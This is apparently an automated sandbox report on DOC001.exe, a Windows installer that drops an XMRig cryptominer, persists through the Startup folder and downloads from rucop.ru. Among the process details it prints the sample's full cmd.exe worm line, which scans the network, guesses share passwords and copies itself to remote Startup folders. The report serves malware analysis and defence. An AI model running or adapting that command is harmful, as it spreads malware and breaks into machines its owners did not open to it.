File name:

DOC001.exe

Full analysis: https://app.any.run/tasks/4aac7f04-0251-4a74-8760-dc5cbdc5d43d
Verdict: Malicious activity
Analysis date: March 26, 2024, 05:37:27
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Indicators:
MIME: application/x-dosexec
File info: PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
MD5:

C720AC483A5752C2B69945A8AD673162

SHA1:

A91BE77FA1BC117C34B3E652706E3B276B487769

SHA256:

856777E16C153722EBD3F389197D4B6482F8AFB2E51345E1AB19760C486C3F78

SSDEEP:

49152:iew+5WyKIQjMo7f6Q7mENkFxdTgO0teiavn0F0w68zdF5vIyPjt+1oPB+mDH9XS6:Xw+0jIQArQqEWn7Iavn0F0w68JF5vI4L

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Drops the executable file immediately after the start

      • DOC001.exe (PID: 3992)
      • DOC001.exe (PID: 1696)

    • Starts CMD.EXE for self-deleting

      • DOC001.exe (PID: 1696)

    • Create files in the Startup directory

      • DOC001.exe (PID: 1696)

  • SUSPICIOUS

    • Reads security settings of Internet Explorer

      • DOC001.exe (PID: 3992)
      • DOC001.exe (PID: 1696)

    • Executable content was dropped or overwritten

      • DOC001.exe (PID: 3992)
      • DOC001.exe (PID: 1696)

    • Reads the Internet Settings

      • DOC001.exe (PID: 3992)
      • DOC001.exe (PID: 1696)

    • Starts itself from another location

      • DOC001.exe (PID: 3992)

    • Starts CMD.EXE for commands execution

      • DOC001.exe (PID: 1696)
      • cmd.exe (PID: 1368)

    • Uses TASKKILL.EXE to kill process

      • cmd.exe (PID: 796)

    • Creates file in the systems drive root

      • DOC001.exe (PID: 1696)

    • Application launched itself

      • cmd.exe (PID: 1368)

    • Starts NET.EXE for network exploration

      • cmd.exe (PID: 2260)

  • INFO

    • Creates files or folders in the user directory

      • DOC001.exe (PID: 3992)
      • DOC001.exe (PID: 1696)

    • Reads the computer name

      • DOC001.exe (PID: 3992)
      • DOC001.exe (PID: 1696)

    • Checks supported languages

      • DOC001.exe (PID: 3992)
      • DOC001.exe (PID: 1696)
      • NsCpuCNMiner32.exe (PID: 1768)

    • Reads the machine GUID from the registry

      • DOC001.exe (PID: 3992)
      • DOC001.exe (PID: 1696)

    • Create files in a temporary directory

      • DOC001.exe (PID: 1696)

    • Checks proxy server information

      • DOC001.exe (PID: 1696)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.exe | NSIS - Nullsoft Scriptable Install System (94.8)
.exe | Win32 Executable MS Visual C++ (generic) (3.4)
.dll | Win32 Dynamic Link Library (generic) (0.7)
.exe | Win32 Executable (generic) (0.5)
.exe | Generic Win/DOS Executable (0.2)

EXIF

EXE

MachineType: Intel 386 or later, and compatibles
TimeStamp: 2009:12:05 22:52:12+00:00
ImageFileCharacteristics: No relocs, Executable, No line numbers, No symbols, 32-bit
PEType: PE32
LinkerVersion: 6
CodeSize: 24064
InitializedDataSize: 308224
UninitializedDataSize: 8192
EntryPoint: 0x30fa
OSVersion: 4
ImageVersion: 6
SubsystemVersion: 4
Subsystem: Windows GUI
No data.
screenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
51
Monitored processes
11
Malicious processes
2
Suspicious processes
1

Behavior graph

Click at the process to see the details
start doc001.exe doc001.exe cmd.exe no specs taskkill.exe no specs taskkill.exe no specs nscpucnminer32.exe no specs cmd.exe no specs cmd.exe no specs net.exe no specs find.exe no specs cmd.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
796"C:\Windows\system32\cmd.exe" /c taskkill /f /im NsCpuCNMiner* & taskkill /f /im IMG0*C:\Windows\System32\cmd.exe—DOC001.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
128
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
880C:\Windows\system32\cmd.exe /c set str_C:\Windows\System32\cmd.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
1368"C:\Windows\system32\cmd.exe" /v:on /c (for /f "usebackq tokens=1,*" %i in (`net view^|find /i "\\" ^|^| arp -a^|find /i " 1"`) do set str_!random!=%i)& for /f "usebackq tokens=1* delims==" %j in (`set str_`) do set s=%k& set s=!s:\\=!& set l=!s:-PC=!& set l=!l:-ÏÊ=!& set f=DOC001.exe& if not "!s!"=="%COMPUTERNAME%" (for /f "usebackq tokens=1,*" %j in (`net view \\!s!^|find /i " "`) do echo f|xcopy /y /d "C:\Users\admin\AppData\Roaming\Tempo\DOC001.exe" "\\!s!\%j\DOC001.exe") & net use * /delete /y & (for %u in (1 !l! administrator user admin àäìèíèñòðàòîð) do @for %p in (0 "" %u 1 123) do ping -n 3 localhost & (for %c in (\\!s!\C$ \\!s!\Users) do (if not "%p%u"=="01" net use %c "%p" /user:"%u") && ((for %d in ("%c\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\!f!" "%c\Documents and Settings\%u\Start Menu\Programs\Startup\!f!" "%c\%u\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\!f!") do echo f|xcopy /y /d "C:\Users\admin\AppData\Roaming\Tempo\DOC001.exe" %d) & net use %c /delete /y & ping -n 20 localhost)))C:\Windows\System32\cmd.exe—DOC001.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
1696"C:\Users\admin\AppData\Roaming\Tempo\DOC001.exe" C:\Users\admin\AppData\Roaming\Tempo\DOC001.exe
DOC001.exe
User:
admin
Integrity Level:
MEDIUM
Modules
Images
c:\users\admin\appdata\roaming\tempo\doc001.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\shell32.dll
1768"C:\Users\admin\AppData\Roaming\Tempo\NsCpuCNMiner32.exe" C:\Users\admin\AppData\Roaming\Tempo\NsCpuCNMiner32.exe—DOC001.exe
User:
admin
Company:
www.xmrig.com
Integrity Level:
MEDIUM
Description:
XMRig CPU miner
Exit code:
2
Version:
2.8.1
Modules
Images
c:\users\admin\appdata\roaming\tempo\nscpucnminer32.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\iphlpapi.dll
c:\windows\system32\nsi.dll
2152taskkill /f /im NsCpuCNMiner* C:\Windows\System32\taskkill.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Terminates Processes
Exit code:
128
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\taskkill.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\version.dll
c:\windows\system32\user32.dll
2260C:\Windows\system32\cmd.exe /c net view|find /i "\\" || arp -a|find /i " 1"C:\Windows\System32\cmd.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
2388find /i "\\" C:\Windows\System32\find.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Find String (grep) Utility
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\find.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\ulib.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
2592net viewC:\Windows\System32\net.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Net Command
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\net.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\netutils.dll
c:\windows\system32\browcli.dll
3308taskkill /f /im IMG0*C:\Windows\System32\taskkill.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Terminates Processes
Exit code:
128
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\taskkill.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\version.dll
c:\windows\system32\user32.dll
Total events
6 012
Read events
5 978
Write events
28
Delete events
6

Modification events

(PID) Process:(3992) DOC001.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
(PID) Process:(3992) DOC001.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:IntranetName
Value:
1
(PID) Process:(3992) DOC001.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
1
(PID) Process:(3992) DOC001.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
0
(PID) Process:(1696) DOC001.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings
Operation:writeName:ProxyEnable
Value:
0
(PID) Process:(1696) DOC001.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings
Operation:delete valueName:ProxyServer
Value:
(PID) Process:(1696) DOC001.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings
Operation:delete valueName:ProxyOverride
Value:
(PID) Process:(1696) DOC001.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings
Operation:delete valueName:AutoConfigURL
Value:
(PID) Process:(1696) DOC001.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings
Operation:delete valueName:AutoDetect
Value:
(PID) Process:(1696) DOC001.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections
Operation:writeName:SavedLegacySettings
Value:
460000005C010000090000000000000000000000000000000400000000000000C0E333BBEAB1D3010000000000000000000000000100000002000000C0A8016B000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
Executable files
4
Suspicious files
1
Text files
0
Unknown types
0

Dropped files

PID
Process
Filename
Type
1696DOC001.exeC:\Users\admin\AppData\Local\Temp\nse24E9.tmp\inetc.dllexecutable
MD5:D7A3FA6A6C738B4A3C40D5602AF20B08
SHA256:67EFF17C53A78C8EC9A28F392B9BB93DF3E74F96F6ECD87A333A482C36546B3E
1696DOC001.exeC:\Users\admin\AppData\Roaming\Tempo\NsCpuCNMiner32.exeexecutable
MD5:30843CDD1E1EB312D1CCE94C3C826C88
SHA256:6EAEBE0831A31D42003811927284CBCE49C0FA10D177F28D139F3F64369C2327
1696DOC001.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\explorer.lnkbinary
MD5:94D05482254FFAAB01B02DDE3DC122DE
SHA256:B0B9BFF2782CCEFBDDBD0726E844F837CC8B49E7BF8D046A900224BCBBA3372B
3992DOC001.exeC:\Users\admin\AppData\Roaming\Tempo\DOC001.exeexecutable
MD5:C720AC483A5752C2B69945A8AD673162
SHA256:856777E16C153722EBD3F389197D4B6482F8AFB2E51345E1AB19760C486C3F78
1696DOC001.exeC:\Users\admin\AppData\Roaming\Tempo\NsCpuCNMiner64.exeexecutable
MD5:2F4E3381E0CD64B0330D509D6916B940
SHA256:BE8884FA0BDFF20838A08A9A70331E438ADFC36336C643B2128FFD978E92540F
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
2
TCP/UDP connections
8
DNS requests
3
Threats
2

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
1696
DOC001.exe
GET
404
185.26.112.217:80
http://rucop.ru/java.dat
unknown
text
160 b
—
1696
DOC001.exe
GET
404
185.26.112.217:80
http://rucop.ru/tess8.html
unknown
text
160 b
—
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:137
—
—
—
unknown
—
—
224.0.0.252:5355
—
—
—
unknown
4
System
192.168.100.255:138
—
—
—
unknown
1080
svchost.exe
224.0.0.252:5355
—
—
—
unknown
1696
DOC001.exe
185.26.112.217:80
rucop.ru
Jsc ru-center
RU
unknown
1696
DOC001.exe
49.13.77.253:80
kriso.ru
Hetzner Online GmbH
DE
unknown

DNS requests

Domain
IP
Reputation
rucop.ru
  • 185.26.112.217
unknown
kriso.ru
  • 49.13.77.253
unknown

Threats

PID
Process
Class
Message
—
—
Potentially Bad Traffic
ET USER_AGENTS Observed Suspicious UA (NSIS_Inetc (Mozilla))
—
—
Potentially Bad Traffic
ET USER_AGENTS Observed Suspicious UA (NSIS_Inetc (Mozilla))
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
DOC001.exe